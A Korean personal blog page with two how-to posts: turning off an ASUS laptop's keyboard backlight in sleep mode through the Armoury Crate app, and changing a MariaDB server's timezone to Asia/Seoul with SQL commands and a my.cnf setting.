그렇다.. 보통 사용할 때는 정적 으로 설정해놓았기 때문에 딱히 문제가 없는데 절전모드로 변경되면 이게 자동으로 브리딩 모드로 변하는 것이었다.. 불 다끈 방에 저 키보드가 깜빡깜빡 거리니 잠자는데 너무 방해가 됐다.

그래서 아ㅡㅡ 또 깜빡이네 하면서 노트북 화면을 덮거나 했었는데.. 이것도 한두번이지 매번 덮고.. 열고 하는게 귀찮아 어떻게 끄는지 찾아봤다.(인터넷에 검색해도 안나와 이것저것 해보다 겨우 찾아냈다..)

  1. ARMOURY CRATE 실행

보통 아수스 게이밍 쓰는 사람들은 기본적으로 ARMOURY CRATE 앱이 설치되어있을 것이다. 이 앱은 키보드 조명을 관리해주는 친구다. 없다면 각 노트북 기종에 맞게 ASUS 홈페이지가서 따로 설치하면 된다.

  1. 장치 > 조명 > 설정 클릭

위 사진처럼 좌측부터 장치 > 조명 > 설정을 눌러 설정메뉴에 진입한다.

  1. 절전 off 설정

드디어 찾았다... 이것저것 메뉴 다눌러봤는데도 없어서 못찾았는데.. 여깄었다.. ㅋㅋ 저거 절전 off 해두면 이제 절전모드때 키보드 백라이트가 점등되는 경우는 없다. 다만 아쉬운게, 절전모드 때 조명설정을 정적으로 따로 커스터마이징 할 수 있으면 좋으련만 그런 기능은 없어보였다.

반응형
  1. ㅇㅇ 2022.09.14 21:55

    진짜 꿀팁 얻고 갑니다.

반응형

1년간 개인 서버를 운영하다가 now()함수를 돌렸을 때 시간이 맞지 않다는 것을 지금 발견했다..ㅋㅋ아마 작업하고 테스트 했을때 UTC하고 KST하고 9시간 밖에 차이가 안 났기 때문에, 못알아 챈 것 같다. ㅋㅋ

select @@system_time_zone, @@global.time_zone;

일단 위 함수 돌렸을 때 시스템 시간이 UTC로 되어있었다. 이걸 한국 시간에 맞게 바꿔보자

방법 1. 임시 방편 - Maria 재부팅 하면 초기화

mysql_tzinfo_to_sql /usr/share/zoneinfo | mysql -u root -p mysql

터미널을 이용해 우리 서버로 접속하고 위 명령어를 입력해주자. 아마 비번치라고 나오는데 비번 쳐주면 된다. 이 작업을 해야 시스템에서 사용하는 KST 정보들을 쓸 수 있다.

SET GLOBAL time_zone='Asia/Seoul'; SET time_zone = 'Asia/Seoul';

마리아 DB 에서 위 명령어를 입력해주자.

SELECT @@system_time_zone, @@global.time_zone, @@session.time_zone;

그리고나서 결과를 보면 일단 global, session의 time_zone이 Asia/Seoul로 바뀌었다.

SELECT NOW();

이 상태에서 셀렉트 나우를 찍어보면 현재 날짜로 바뀌긴 할텐데, 마리다 DB 서비스 혹은, 서버를 재부팅하면 원래대로 돌아간다.. ㅜㅜ...... 영구적으로 바꾸기 위해선 아래방법을 진행한다.

방법 2. 환경 변수 설정

cd /etc/ 
sudo vim my.cnf

etc 경로의 my.cnf를 수정하자, 있으면 내용이 있을꺼고, 보통은 저 경로에 저 파일이 없으니 새로 생성된다.

[mysqld]
default-time-zone=Asia/Seoul

위 내용을 입력하고 저장해주자.

systemctl restart mysql

 

그리고 마리아 DB 서비스를 재부팅 해주자.

SELECT @@system_time_zone, @@global.time_zone, @@session.time_zone;

재부팅 후에도 타임존이 Asia/Seoul로 유지되는 것을 볼 수 있다.

SELECT NOW();

셀렉트 나우를 통해 최종적으로 시간을 확인하자.

 

#마리아DB #mariaDB #Mysql #타임존 #변경 #시간 #안맞음 #timezone

반응형

+ Recent posts